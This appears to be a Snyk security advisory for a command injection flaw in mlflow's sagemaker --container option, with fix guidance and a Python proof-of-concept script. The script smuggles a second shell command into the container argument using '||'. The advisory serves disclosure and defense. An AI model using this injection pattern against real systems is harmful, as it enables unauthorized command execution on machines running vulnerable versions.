Command Injection Affecting mlflow package, versions [,3.8.0rc0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.34% (57th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-15674468
  • published17 Mar 2026
  • disclosed15 Mar 2026
  • creditbilisheep

Introduced: 15 Mar 2026

CVE-2025-14287  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade mlflow to version 3.8.0rc0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Command Injection via the --container parameter. An attacker can execute unauthorized commands by supplying specially crafted input that is not properly sanitized.

Note:

This is only exploitable if the attacker has shell access to the system.

PoC

#!/usr/bin/env python
"""
This POC only mocks Google accounts; the rest imitates the real environment.
"""
import sys
import os
from unittest.mock import patch, MagicMock

# Set command line arguments
sys.argv = [
    'mlflow',
    'sagemaker',
    'build-and-push-container',
    '--container', 'my-sm-image:1.0||open -a Calculator #',
    '--no-build',
    '--push'
]

# Create comprehensive mocks
class MockSTSClient:
    def get_caller_identity(self):
        return {'Account': '123456789012'}

class MockECRClient:
    def describe_repositories(self, **kwargs):
        return {
            'repositories': [{
                'repositoryUri': '123456789012.dkr.ecr.us-west-2.amazonaws.com/mlflow-pyfunc'
            }]
        }

    def create_repository(self, **kwargs):
        return {'repository': {'repositoryUri': '123456789012.dkr.ecr.us-west-2.amazonaws.com/mlflow-pyfunc'}}

class MockSession:
    region_name = 'us-west-2'

def mock_boto3_client(service_name, **kwargs):
    if service_name == 'sts':
        return MockSTSClient()
    elif service_name == 'ecr':
        return MockECRClient()
    return MagicMock()

def mock_boto3_session(**kwargs):
    return MockSession()

# Patch boto3 before importing mlflow
with patch('boto3.client', side_effect=mock_boto3_client):
    with patch('boto3.session.Session', return_value=MockSession()):
        print(f"\n[*] AWS boto3 mocked successfully")
        print(f"[*] Starting MLflow CLI...\n")

        # Import and run CLI
        from mlflow.cli import cli
        try:
            cli()
        except SystemExit:
            pass
        except Exception as e:
            print(f"\n[!] Exception: {e}")
            import traceback
            traceback.print_exc()

CVSS Base Scores

version 4.0
version 3.1